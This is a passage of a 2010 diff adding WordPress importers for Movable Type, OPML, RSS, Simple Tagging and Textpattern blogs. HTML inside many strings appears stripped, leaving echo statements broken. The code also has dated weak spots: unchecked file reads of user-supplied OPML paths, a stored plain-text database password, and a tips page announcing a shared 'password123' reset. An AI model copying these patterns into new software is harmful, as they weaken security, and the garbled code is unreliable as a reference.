substr($line, strlen("AUTHOR:")) ); + if ( '' == $context ) + $post->post_author = $author; + else if ( 'comment' == $context ) + $comment->comment_author = $author; + } else if ( 0 === strpos($line, "TITLE:") ) { + $title = trim( substr($line, strlen("TITLE:")) ); + if ( '' == $context ) + $post->post_title = $title; + else if ( 'ping' == $context ) + $ping->title = $title; + } else if ( 0 === strpos($line, "STATUS:") ) { + $status = trim( strtolower( substr($line, strlen("STATUS:")) ) ); + if ( empty($status) ) + $status = 'publish'; + $post->post_status = $status; + } else if ( 0 === strpos($line, "ALLOW COMMENTS:") ) { + $allow = trim( substr($line, strlen("ALLOW COMMENTS:")) ); + if ( $allow == 1 ) + $post->comment_status = 'open'; + else + $post->comment_status = 'closed'; + } else if ( 0 === strpos($line, "ALLOW PINGS:") ) { + $allow = trim( substr($line, strlen("ALLOW PINGS:")) ); + if ( $allow == 1 ) + $post->ping_status = 'open'; + else + $post->ping_status = 'closed'; + } else if ( 0 === strpos($line, "CATEGORY:") ) { + $category = trim( substr($line, strlen("CATEGORY:")) ); + if ( '' != $category ) + $post->categories[] = $category; + } else if ( 0 === strpos($line, "PRIMARY CATEGORY:") ) { + $category = trim( substr($line, strlen("PRIMARY CATEGORY:")) ); + if ( '' != $category ) + $post->categories[] = $category; + } else if ( 0 === strpos($line, "DATE:") ) { + $date = trim( substr($line, strlen("DATE:")) ); + $date = strtotime($date); + $date = date('Y-m-d H:i:s', $date); + $date_gmt = get_gmt_from_date($date); + if ( '' == $context ) { + $post->post_modified = $date; + $post->post_modified_gmt = $date_gmt; + $post->post_date = $date; + $post->post_date_gmt = $date_gmt; + } else if ( 'comment' == $context ) { + $comment->comment_date = $date; + } else if ( 'ping' == $context ) { + $ping->comment_date = $date; + } + } else if ( 0 === strpos($line, "EMAIL:") ) { + $email = trim( substr($line, strlen("EMAIL:")) ); + if ( 'comment' == $context ) + $comment->comment_author_email = $email; + else + $ping->comment_author_email = ''; + } else if ( 0 === strpos($line, "IP:") ) { + $ip = trim( substr($line, strlen("IP:")) ); + if ( 'comment' == $context ) + $comment->comment_author_IP = $ip; + else + $ping->comment_author_IP = $ip; + } else if ( 0 === strpos($line, "URL:") ) { + $url = trim( substr($line, strlen("URL:")) ); + if ( 'comment' == $context ) + $comment->comment_author_url = $url; + else + $ping->comment_author_url = $url; + } else if ( 0 === strpos($line, "BLOG NAME:") ) { + $blog = trim( substr($line, strlen("BLOG NAME:")) ); + $ping->comment_author = $blog; + } else { + // Processing multi-line field, check context. + + if( !empty($line) ) + $line .= "\n"; + + if ( 'body' == $context ) { + $post->post_content .= $line; + } else if ( 'extended' == $context ) { + $post->extended .= $line; + } else if ( 'excerpt' == $context ) { + $post->post_excerpt .= $line; + } else if ( 'keywords' == $context ) { + $post->post_keywords .= $line; + } else if ( 'comment' == $context ) { + $comment->comment_content .= $line; + } else if ( 'ping' == $context ) { + $ping->comment_content .= $line; + } + } + } + + $this->fclose($handle); + + echo '
    '; + + wp_import_cleanup($this->id); + do_action('import_done', 'mt'); + + echo '

    '.sprintf(__('All done. Have fun!'), get_option('home')).'

    '; + } + + function import() { + $this->id = (int) $_GET['id']; + if ( $this->id == 0 ) + $this->file = WP_CONTENT_DIR . '/mt-export.txt'; + else + $this->file = get_attached_file($this->id); + $this->get_authors_from_post(); + $result = $this->process_posts(); + if ( is_wp_error( $result ) ) + return $result; + } + + function dispatch() { + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + + switch ($step) { + case 0 : + $this->greet(); + break; + case 1 : + check_admin_referer('import-upload'); + $this->select_authors(); + break; + case 2: + check_admin_referer('import-mt'); + $result = $this->import(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + } + } + + function MT_Import() { + // Nothing. + } +} + +$mt_import = new MT_Import(); + +register_importer('mt', __('Movable Type and TypePad'), __('Import posts and comments from a Movable Type or TypePad blog.'), array ($mt_import, 'dispatch')); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/opml.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/opml.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,156 @@ + + * @author Mike Little + * @package WordPress + * @subpackage Administration + */ + +/** Load WordPress Administration Bootstrap */ +$parent_file = 'tools.php'; +$submenu_file = 'import.php'; +$title = __('Import Blogroll'); + +class OPML_Import { + + function dispatch() { + global $wpdb, $user_ID; +$step = $_POST['step']; +if (!$step) $step = 0; +?> + + +
    + +

    +
    + + +

    +
    + + +
    +

    + +
    + +
    +

    + +
    + +
    + +


    +

    + +

    +
    + +
    + +
    + +

    + false, 'test_type' => false); + $_FILES['userfile']['name'] .= '.txt'; + $file = wp_handle_upload($_FILES['userfile'], $overrides); + + if ( isset($file['error']) ) + wp_die($file['error']); + + $url = $file['url']; + $opml_url = $file['file']; + $blogrolling = false; + } + + global $opml, $updated_timestamp, $all_links, $map, $names, $urls, $targets, $descriptions, $feeds; + if ( isset($opml_url) && $opml_url != '' ) { + if ( $blogrolling === true ) { + $opml = wp_remote_fopen($opml_url); + } else { + $opml = file_get_contents($opml_url); + } + + /** Load OPML Parser */ + include_once('link-parse-opml.php'); + + $link_count = count($names); + for ( $i = 0; $i < $link_count; $i++ ) { + if ('Last' == substr($titles[$i], 0, 4)) + $titles[$i] = ''; + if ( 'http' == substr($titles[$i], 0, 4) ) + $titles[$i] = ''; + $link = array( 'link_url' => $urls[$i], 'link_name' => $wpdb->escape($names[$i]), 'link_category' => array($cat_id), 'link_description' => $wpdb->escape($descriptions[$i]), 'link_owner' => $user_ID, 'link_rss' => $feeds[$i]); + wp_insert_link($link); + echo sprintf('

    '.__('Inserted %s').'

    ', $names[$i]); + } +?> + +

    manage those links.'), $link_count, $cat_id, 'link-manager.php') ?>

    + +" . __("You need to supply your OPML url. Press back on your browser and try again") . "

    \n"; +} // end else + +if ( ! $blogrolling ) + do_action( 'wp_delete_file', $opml_url); + @unlink($opml_url); +?> +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/rss.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/rss.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,202 @@ +'; + screen_icon(); + echo '

    '.__('Import RSS').'

    '; + } + + function footer() { + echo ''; + } + + function unhtmlentities($string) { // From php.net for < 4.3 compat + $trans_tbl = get_html_translation_table(HTML_ENTITIES); + $trans_tbl = array_flip($trans_tbl); + return strtr($string, $trans_tbl); + } + + function greet() { + echo '
    '; + echo '

    '.__('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your blog. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.').'

    '; + wp_import_upload_form("admin.php?import=rss&step=1"); + echo '
    '; + } + + function _normalize_tag( $matches ) { + return '<' . strtolower( $matches[1] ); + } + + function get_posts() { + global $wpdb; + + set_magic_quotes_runtime(0); + $datalines = file($this->file); // Read the file into an array + $importdata = implode('', $datalines); // squish it + $importdata = str_replace(array ("\r\n", "\r"), "\n", $importdata); + + preg_match_all('|(.*?)|is', $importdata, $this->posts); + $this->posts = $this->posts[1]; + $index = 0; + foreach ($this->posts as $post) { + preg_match('|(.*?)|is', $post, $post_title); + $post_title = str_replace(array(''), '', $wpdb->escape( trim($post_title[1]) )); + + preg_match('|(.*?)|is', $post, $post_date_gmt); + + if ($post_date_gmt) { + $post_date_gmt = strtotime($post_date_gmt[1]); + } else { + // if we don't already have something from pubDate + preg_match('|(.*?)|is', $post, $post_date_gmt); + $post_date_gmt = preg_replace('|([-+])([0-9]+):([0-9]+)$|', '\1\2\3', $post_date_gmt[1]); + $post_date_gmt = str_replace('T', ' ', $post_date_gmt); + $post_date_gmt = strtotime($post_date_gmt); + } + + $post_date_gmt = gmdate('Y-m-d H:i:s', $post_date_gmt); + $post_date = get_date_from_gmt( $post_date_gmt ); + + preg_match_all('|(.*?)|is', $post, $categories); + $categories = $categories[1]; + + if (!$categories) { + preg_match_all('|(.*?)|is', $post, $categories); + $categories = $categories[1]; + } + + $cat_index = 0; + foreach ($categories as $category) { + $categories[$cat_index] = $wpdb->escape($this->unhtmlentities($category)); + $cat_index++; + } + + preg_match('|(.*?)|is', $post, $guid); + if ($guid) + $guid = $wpdb->escape(trim($guid[1])); + else + $guid = ''; + + preg_match('|(.*?)|is', $post, $post_content); + $post_content = str_replace(array (''), '', $wpdb->escape(trim($post_content[1]))); + + if (!$post_content) { + // This is for feeds that put content in description + preg_match('|(.*?)|is', $post, $post_content); + $post_content = $wpdb->escape($this->unhtmlentities(trim($post_content[1]))); + } + + // Clean up content + $post_content = preg_replace_callback('|<(/?[A-Z]+)|', array( &$this, '_normalize_tag' ), $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + $post_content = str_replace('
    ', '
    ', $post_content); + + $post_author = 1; + $post_status = 'publish'; + $this->posts[$index] = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_status', 'guid', 'categories'); + $index++; + } + } + + function import_posts() { + echo '
      '; + + foreach ($this->posts as $post) { + echo "
    1. ".__('Importing post...'); + + extract($post); + + if ($post_id = post_exists($post_title, $post_content, $post_date)) { + _e('Post already imported'); + } else { + $post_id = wp_insert_post($post); + if ( is_wp_error( $post_id ) ) + return $post_id; + if (!$post_id) { + _e('Couldn’t get post ID'); + return; + } + + if (0 != count($categories)) + wp_create_categories($categories, $post_id); + _e('Done !'); + } + echo '
    2. '; + } + + echo '
    '; + + } + + function import() { + $file = wp_import_handle_upload(); + if ( isset($file['error']) ) { + echo $file['error']; + return; + } + + $this->file = $file['file']; + $this->get_posts(); + $result = $this->import_posts(); + if ( is_wp_error( $result ) ) + return $result; + wp_import_cleanup($file['id']); + do_action('import_done', 'rss'); + + echo '

    '; + printf(__('All done. Have fun!'), get_option('home')); + echo '

    '; + } + + function dispatch() { + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + + $this->header(); + + switch ($step) { + case 0 : + $this->greet(); + break; + case 1 : + check_admin_referer('import-upload'); + $result = $this->import(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + } + + $this->footer(); + } + + function RSS_Import() { + // Nothing. + } +} + +$rss_import = new RSS_Import(); + +register_importer('rss', __('RSS'), __('Import posts from an RSS feed.'), array ($rss_import, 'dispatch')); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/stp.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/stp.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,170 @@ +'; + screen_icon(); + echo '

    '.__('Import Simple Tagging').'

    '; + echo '

    '.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'

    '; + } + + function footer() { + echo ''; + } + + function greet() { + echo '
    '; + echo '

    '.__('Howdy! This imports tags from Simple Tagging 1.6.2 into WordPress tags.').'

    '; + echo '

    '.__('This has not been tested on any other versions of Simple Tagging. Mileage may vary.').'

    '; + echo '

    '.__('To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Simple Tagging habit. Just keep clicking along and we will let you know when you are in the clear!').'

    '; + echo '

    '.__('Don’t be stupid - backup your database before proceeding!').'

    '; + echo '
    '; + wp_nonce_field('import-stp'); + echo '

    '; + echo '
    '; + echo '
    '; + } + + function dispatch () { + if ( empty( $_GET['step'] ) ) { + $step = 0; + } else { + $step = (int) $_GET['step']; + } + // load the header + $this->header(); + switch ( $step ) { + case 0 : + $this->greet(); + break; + case 1 : + check_admin_referer('import-stp'); + $this->import_posts(); + break; + case 2: + check_admin_referer('import-stp'); + $this->import_t2p(); + break; + case 3: + check_admin_referer('import-stp'); + $this->cleanup_import(); + break; + } + // load the footer + $this->footer(); + } + + + function import_posts ( ) { + echo '
    '; + echo '

    '.__('Reading STP Post Tags…').'

    '; + + // read in all the STP tag -> post settings + $posts = $this->get_stp_posts(); + + // if we didn't get any tags back, that's all there is folks! + if ( !is_array($posts) ) { + echo '

    ' . __('No posts were found to have tags!') . '

    '; + return false; + } + else { + // if there's an existing entry, delete it + if ( get_option('stpimp_posts') ) { + delete_option('stpimp_posts'); + } + + add_option('stpimp_posts', $posts); + $count = count($posts); + echo '

    ' . sprintf( _n('Done! %s tag to post relationships were read.', 'Done! %s tags to post relationships were read.', $count), $count ) . '

    '; + } + + echo '
    '; + wp_nonce_field('import-stp'); + echo '

    '; + echo '
    '; + echo '
    '; + } + + + function import_t2p ( ) { + echo '
    '; + echo '

    '.__('Adding Tags to Posts…').'

    '; + + // run that funky magic! + $tags_added = $this->tag2post(); + + echo '

    ' . sprintf( _n('Done! %s tag was added!', 'Done! %s tags were added!', $tags_added), $tags_added ) . '

    '; + echo '
    '; + wp_nonce_field('import-stp'); + echo '

    '; + echo '
    '; + echo '
    '; + } + + function get_stp_posts ( ) { + global $wpdb; + // read in all the posts from the STP post->tag table: should be wp_post2tag + $posts_query = "SELECT post_id, tag_name FROM " . $wpdb->prefix . "stp_tags"; + $posts = $wpdb->get_results($posts_query); + return $posts; + } + + function tag2post ( ) { + global $wpdb; + + // get the tags and posts we imported in the last 2 steps + $posts = get_option('stpimp_posts'); + + // null out our results + $tags_added = 0; + + // loop through each post and add its tags to the db + foreach ( $posts as $this_post ) { + $the_post = (int) $this_post->post_id; + $the_tag = $wpdb->escape($this_post->tag_name); + // try to add the tag + wp_add_post_tags($the_post, $the_tag); + $tags_added++; + } + + // that's it, all posts should be linked to their tags properly, pending any errors we just spit out! + return $tags_added; + } + + function cleanup_import ( ) { + delete_option('stpimp_posts'); + $this->done(); + } + + function done ( ) { + echo '
    '; + echo '

    '.__('Import Complete!').'

    '; + echo '

    ' . __('OK, so we lied about this being a 4-step program! You’re done!') . '

    '; + echo '

    ' . __('Now wasn’t that easy?') . '

    '; + echo '
    '; + } + + function STP_Import ( ) { + // Nothing. + } +} + +// create the import object +$stp_import = new STP_Import(); + +// add it to the import page! +register_importer('stp', 'Simple Tagging', __('Import Simple Tagging tags into WordPress tags.'), array($stp_import, 'dispatch')); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/textpattern.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/textpattern.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,691 @@ +get_var( $wpdb->prepare("SELECT count(*) FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) ); + } +} + +if(!function_exists('link_exists')) +{ + /** + * Check whether link already exists. + * + * @package WordPress + * @subpackage Textpattern_Import + * + * @param string $linkname + * @return int + */ + function link_exists($linkname) + { + global $wpdb; + return $wpdb->get_var( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_name = %s", $linkname) ); + } +} + +/** + * TextPattern Importer Class + * + * @since unknown + */ +class Textpattern_Import { + + function header() + { + echo '
    '; + screen_icon(); + echo '

    '.__('Import Textpattern').'

    '; + echo '

    '.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'

    '; + } + + function footer() + { + echo '
    '; + } + + function greet() { + echo '
    '; + echo '

    '.__('Howdy! This imports categories, users, posts, comments, and links from any Textpattern 4.0.2+ into this blog.').'

    '; + echo '

    '.__('This has not been tested on previous versions of Textpattern. Mileage may vary.').'

    '; + echo '

    '.__('Your Textpattern Configuration settings are as follows:').'

    '; + echo '
    '; + wp_nonce_field('import-textpattern'); + $this->db_form(); + echo '

    '; + echo '
    '; + echo '
    '; + } + + function get_txp_cats() + { + global $wpdb; + // General Housekeeping + $txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost')); + set_magic_quotes_runtime(0); + $prefix = get_option('tpre'); + + // Get Categories + return $txpdb->get_results('SELECT + id, + name, + title + FROM '.$prefix.'txp_category + WHERE type = "article"', + ARRAY_A); + } + + function get_txp_users() + { + global $wpdb; + // General Housekeeping + $txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost')); + set_magic_quotes_runtime(0); + $prefix = get_option('tpre'); + + // Get Users + + return $txpdb->get_results('SELECT + user_id, + name, + RealName, + email, + privs + FROM '.$prefix.'txp_users', ARRAY_A); + } + + function get_txp_posts() + { + // General Housekeeping + $txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost')); + set_magic_quotes_runtime(0); + $prefix = get_option('tpre'); + + // Get Posts + return $txpdb->get_results('SELECT + ID, + Posted, + AuthorID, + LastMod, + Title, + Body, + Excerpt, + Category1, + Category2, + Status, + Keywords, + url_title, + comments_count + FROM '.$prefix.'textpattern + ', ARRAY_A); + } + + function get_txp_comments() + { + global $wpdb; + // General Housekeeping + $txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost')); + set_magic_quotes_runtime(0); + $prefix = get_option('tpre'); + + // Get Comments + return $txpdb->get_results('SELECT * FROM '.$prefix.'txp_discuss', ARRAY_A); + } + + function get_txp_links() + { + //General Housekeeping + $txpdb = new wpdb(get_option('txpuser'), get_option('txppass'), get_option('txpname'), get_option('txphost')); + set_magic_quotes_runtime(0); + $prefix = get_option('tpre'); + + return $txpdb->get_results('SELECT + id, + date, + category, + url, + linkname, + description + FROM '.$prefix.'txp_link', + ARRAY_A); + } + + function cat2wp($categories='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $txpcat2wpcat = array(); + // Do the Magic + if(is_array($categories)) + { + echo '

    '.__('Importing Categories...').'

    '; + foreach ($categories as $category) + { + $count++; + extract($category); + + + // Make Nice Variables + $name = $wpdb->escape($name); + $title = $wpdb->escape($title); + + if($cinfo = category_exists($name)) + { + $ret_id = wp_insert_category(array('cat_ID' => $cinfo, 'category_nicename' => $name, 'cat_name' => $title)); + } + else + { + $ret_id = wp_insert_category(array('category_nicename' => $name, 'cat_name' => $title)); + } + $txpcat2wpcat[$id] = $ret_id; + } + + // Store category translation for future use + add_option('txpcat2wpcat',$txpcat2wpcat); + echo '

    '.sprintf(_n('Done! %1$s category imported.', 'Done! %1$s categories imported.', $count), $count).'

    '; + return true; + } + echo __('No Categories to Import!'); + return false; + } + + function users2wp($users='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $txpid2wpid = array(); + + // Midnight Mojo + if(is_array($users)) + { + echo '

    '.__('Importing Users...').'

    '; + foreach($users as $user) + { + $count++; + extract($user); + + // Make Nice Variables + $name = $wpdb->escape($name); + $RealName = $wpdb->escape($RealName); + + if($uinfo = get_userdatabylogin($name)) + { + + $ret_id = wp_insert_user(array( + 'ID' => $uinfo->ID, + 'user_login' => $name, + 'user_nicename' => $RealName, + 'user_email' => $email, + 'user_url' => 'http://', + 'display_name' => $name) + ); + } + else + { + $ret_id = wp_insert_user(array( + 'user_login' => $name, + 'user_nicename' => $RealName, + 'user_email' => $email, + 'user_url' => 'http://', + 'display_name' => $name) + ); + } + $txpid2wpid[$user_id] = $ret_id; + + // Set Textpattern-to-WordPress permissions translation + $transperms = array(1 => '10', 2 => '9', 3 => '5', 4 => '4', 5 => '3', 6 => '2', 7 => '0'); + + // Update Usermeta Data + $user = new WP_User($ret_id); + if('10' == $transperms[$privs]) { $user->set_role('administrator'); } + if('9' == $transperms[$privs]) { $user->set_role('editor'); } + if('5' == $transperms[$privs]) { $user->set_role('editor'); } + if('4' == $transperms[$privs]) { $user->set_role('author'); } + if('3' == $transperms[$privs]) { $user->set_role('contributor'); } + if('2' == $transperms[$privs]) { $user->set_role('contributor'); } + if('0' == $transperms[$privs]) { $user->set_role('subscriber'); } + + update_usermeta( $ret_id, 'wp_user_level', $transperms[$privs] ); + update_usermeta( $ret_id, 'rich_editing', 'false'); + }// End foreach($users as $user) + + // Store id translation array for future use + add_option('txpid2wpid',$txpid2wpid); + + + echo '

    '.sprintf(__('Done! %1$s users imported.'), $count).'

    '; + return true; + }// End if(is_array($users) + + echo __('No Users to Import!'); + return false; + + }// End function user2wp() + + function posts2wp($posts='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $txpposts2wpposts = array(); + $cats = array(); + + // Do the Magic + if(is_array($posts)) + { + echo '

    '.__('Importing Posts...').'

    '; + foreach($posts as $post) + { + $count++; + extract($post); + + // Set Textpattern-to-WordPress status translation + $stattrans = array(1 => 'draft', 2 => 'private', 3 => 'draft', 4 => 'publish', 5 => 'publish'); + + //Can we do this more efficiently? + $uinfo = ( get_userdatabylogin( $AuthorID ) ) ? get_userdatabylogin( $AuthorID ) : 1; + $authorid = ( is_object( $uinfo ) ) ? $uinfo->ID : $uinfo ; + + $Title = $wpdb->escape($Title); + $Body = $wpdb->escape($Body); + $Excerpt = $wpdb->escape($Excerpt); + $post_status = $stattrans[$Status]; + + // Import Post data into WordPress + + if($pinfo = post_exists($Title,$Body)) + { + $ret_id = wp_insert_post(array( + 'ID' => $pinfo, + 'post_date' => $Posted, + 'post_date_gmt' => $post_date_gmt, + 'post_author' => $authorid, + 'post_modified' => $LastMod, + 'post_modified_gmt' => $post_modified_gmt, + 'post_title' => $Title, + 'post_content' => $Body, + 'post_excerpt' => $Excerpt, + 'post_status' => $post_status, + 'post_name' => $url_title, + 'comment_count' => $comments_count) + ); + if ( is_wp_error( $ret_id ) ) + return $ret_id; + } + else + { + $ret_id = wp_insert_post(array( + 'post_date' => $Posted, + 'post_date_gmt' => $post_date_gmt, + 'post_author' => $authorid, + 'post_modified' => $LastMod, + 'post_modified_gmt' => $post_modified_gmt, + 'post_title' => $Title, + 'post_content' => $Body, + 'post_excerpt' => $Excerpt, + 'post_status' => $post_status, + 'post_name' => $url_title, + 'comment_count' => $comments_count) + ); + if ( is_wp_error( $ret_id ) ) + return $ret_id; + } + $txpposts2wpposts[$ID] = $ret_id; + + // Make Post-to-Category associations + $cats = array(); + $category1 = get_category_by_slug($Category1); + $category1 = $category1->term_id; + $category2 = get_category_by_slug($Category2); + $category2 = $category2->term_id; + if($cat1 = $category1) { $cats[1] = $cat1; } + if($cat2 = $category2) { $cats[2] = $cat2; } + + if(!empty($cats)) { wp_set_post_categories($ret_id, $cats); } + } + } + // Store ID translation for later use + add_option('txpposts2wpposts',$txpposts2wpposts); + + echo '

    '.sprintf(__('Done! %1$s posts imported.'), $count).'

    '; + return true; + } + + function comments2wp($comments='') + { + // General Housekeeping + global $wpdb; + $count = 0; + $txpcm2wpcm = array(); + $postarr = get_option('txpposts2wpposts'); + + // Magic Mojo + if(is_array($comments)) + { + echo '

    '.__('Importing Comments...').'

    '; + foreach($comments as $comment) + { + $count++; + extract($comment); + + // WordPressify Data + $comment_ID = ltrim($discussid, '0'); + $comment_post_ID = $postarr[$parentid]; + $comment_approved = (1 == $visible) ? 1 : 0; + $name = $wpdb->escape($name); + $email = $wpdb->escape($email); + $web = $wpdb->escape($web); + $message = $wpdb->escape($message); + + $comment = array( + 'comment_post_ID' => $comment_post_ID, + 'comment_author' => $name, + 'comment_author_IP' => $ip, + 'comment_author_email' => $email, + 'comment_author_url' => $web, + 'comment_date' => $posted, + 'comment_content' => $message, + 'comment_approved' => $comment_approved); + $comment = wp_filter_comment($comment); + + if ( $cinfo = comment_exists($name, $posted) ) { + // Update comments + $comment['comment_ID'] = $cinfo; + $ret_id = wp_update_comment($comment); + } else { + // Insert comments + $ret_id = wp_insert_comment($comment); + } + $txpcm2wpcm[$comment_ID] = $ret_id; + } + // Store Comment ID translation for future use + add_option('txpcm2wpcm', $txpcm2wpcm); + + // Associate newly formed categories with posts + get_comment_count($ret_id); + + + echo '

    '.sprintf(__('Done! %1$s comments imported.'), $count).'

    '; + return true; + } + echo __('No Comments to Import!'); + return false; + } + + function links2wp($links='') + { + // General Housekeeping + global $wpdb; + $count = 0; + + // Deal with the links + if(is_array($links)) + { + echo '

    '.__('Importing Links...').'

    '; + foreach($links as $link) + { + $count++; + extract($link); + + // Make nice vars + $category = $wpdb->escape($category); + $linkname = $wpdb->escape($linkname); + $description = $wpdb->escape($description); + + if($linfo = link_exists($linkname)) + { + $ret_id = wp_insert_link(array( + 'link_id' => $linfo, + 'link_url' => $url, + 'link_name' => $linkname, + 'link_category' => $category, + 'link_description' => $description, + 'link_updated' => $date) + ); + } + else + { + $ret_id = wp_insert_link(array( + 'link_url' => $url, + 'link_name' => $linkname, + 'link_category' => $category, + 'link_description' => $description, + 'link_updated' => $date) + ); + } + $txplinks2wplinks[$link_id] = $ret_id; + } + add_option('txplinks2wplinks',$txplinks2wplinks); + echo '

    '; + printf(_n('Done! %s link imported', 'Done! %s links imported', $count), $count); + echo '

    '; + return true; + } + echo __('No Links to Import!'); + return false; + } + + function import_categories() + { + // Category Import + $cats = $this->get_txp_cats(); + $this->cat2wp($cats); + add_option('txp_cats', $cats); + + + + echo '
    '; + wp_nonce_field('import-textpattern'); + printf('

    ', esc_attr__('Import Users')); + echo '
    '; + + } + + function import_users() + { + // User Import + $users = $this->get_txp_users(); + $this->users2wp($users); + + echo '
    '; + wp_nonce_field('import-textpattern'); + printf('

    ', esc_attr__('Import Posts')); + echo '
    '; + } + + function import_posts() + { + // Post Import + $posts = $this->get_txp_posts(); + $result = $this->posts2wp($posts); + if ( is_wp_error( $result ) ) + return $result; + + echo '
    '; + wp_nonce_field('import-textpattern'); + printf('

    ', esc_attr__('Import Comments')); + echo '
    '; + } + + function import_comments() + { + // Comment Import + $comments = $this->get_txp_comments(); + $this->comments2wp($comments); + + echo '
    '; + wp_nonce_field('import-textpattern'); + printf('

    ', esc_attr__('Import Links')); + echo '
    '; + } + + function import_links() + { + //Link Import + $links = $this->get_txp_links(); + $this->links2wp($links); + add_option('txp_links', $links); + + echo '
    '; + wp_nonce_field('import-textpattern'); + printf('

    ', esc_attr__('Finish')); + echo '
    '; + } + + function cleanup_txpimport() + { + delete_option('tpre'); + delete_option('txp_cats'); + delete_option('txpid2wpid'); + delete_option('txpcat2wpcat'); + delete_option('txpposts2wpposts'); + delete_option('txpcm2wpcm'); + delete_option('txplinks2wplinks'); + delete_option('txpuser'); + delete_option('txppass'); + delete_option('txpname'); + delete_option('txphost'); + do_action('import_done', 'textpattern'); + $this->tips(); + } + + function tips() + { + echo '

    '.__('Welcome to WordPress. We hope (and expect!) that you will find this platform incredibly rewarding! As a new WordPress user coming from Textpattern, there are some things that we would like to point out. Hopefully, they will help your transition go as smoothly as possible.').'

    '; + echo '

    '.__('Users').'

    '; + echo '

    '.sprintf(__('You have already setup WordPress and have been assigned an administrative login and password. Forget it. You didn’t have that login in Textpattern, why should you have it here? Instead we have taken care to import all of your users into our system. Unfortunately there is one downside. Because both WordPress and Textpattern uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users. Every user has the same username, but their passwords are reset to password123. So log in and change it.'), get_bloginfo( 'wpurl' ) . '/wp-login.php').'

    '; + echo '

    '.__('Preserving Authors').'

    '; + echo '

    '.__('Secondly, we have attempted to preserve post authors. If you are the only author or contributor to your blog, then you are safe. In most cases, we are successful in this preservation endeavor. However, if we cannot ascertain the name of the writer due to discrepancies between database tables, we assign it to you, the administrative user.').'

    '; + echo '

    '.__('Textile').'

    '; + echo '

    '.__('Also, since you’re coming from Textpattern, you probably have been using Textile to format your comments and posts. If this is the case, we recommend downloading and installing Textile for WordPress. Trust me... You’ll want it.').'

    '; + echo '

    '.__('WordPress Resources').'

    '; + echo '

    '.__('Finally, there are numerous WordPress resources around the internet. Some of them are:').'

    '; + echo ''; + echo '

    '.sprintf(__('That’s it! What are you waiting for? Go log in!'), get_bloginfo( 'wpurl' ) . '/wp-login.php').'

    '; + } + + function db_form() + { + echo ''; + printf('', __('Textpattern Database User:')); + printf('', __('Textpattern Database Password:')); + printf('', __('Textpattern Database Name:')); + printf('', __('Textpattern Database Host:')); + printf('', __('Textpattern Table prefix (if any):')); + echo '
    '; + } + + function dispatch() + { + + if (empty ($_GET['step'])) + $step = 0; + else + $step = (int) $_GET['step']; + $this->header(); + + if ( $step > 0 ) + { + check_admin_referer('import-textpattern'); + + if($_POST['dbuser']) + { + if(get_option('txpuser')) + delete_option('txpuser'); + add_option('txpuser', sanitize_user($_POST['dbuser'], true)); + } + if($_POST['dbpass']) + { + if(get_option('txppass')) + delete_option('txppass'); + add_option('txppass', sanitize_user($_POST['dbpass'], true)); + } + + if($_POST['dbname']) + { + if(get_option('txpname')) + delete_option('txpname'); + add_option('txpname', sanitize_user($_POST['dbname'], true)); + } + if($_POST['dbhost']) + { + if(get_option('txphost')) + delete_option('txphost'); + add_option('txphost', sanitize_user($_POST['dbhost'], true)); + } + if($_POST['dbprefix']) + { + if(get_option('tpre')) + delete_option('tpre'); + add_option('tpre', sanitize_user($_POST['dbprefix'])); + } + + + } + + switch ($step) + { + default: + case 0 : + $this->greet(); + break; + case 1 : + $this->import_categories(); + break; + case 2 : + $this->import_users(); + break; + case 3 : + $result = $this->import_posts(); + if ( is_wp_error( $result ) ) + echo $result->get_error_message(); + break; + case 4 : + $this->import_comments(); + break; + case 5 : + $this->import_links(); + break; + case 6 : + $this->cleanup_txpimport(); + break; + } + + $this->footer(); + } + + function Textpattern_Import() + { + // Nothing. + } +} + +$txp_import = new Textpattern_Import(); + +register_importer('textpattern', __('Textpattern'), __('Import categories, users, posts, comments, and links from a Textpattern blog.'), array ($txp_import, 'dispatch')); + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/import/utw.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/import/utw.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,290 @@ +'; + screen_icon(); + echo '

    '.__('Import Ultimate Tag Warrior').'

    '; + echo '

    '.__('Steps may take a few minutes depending on the size of your database. Please be patient.').'

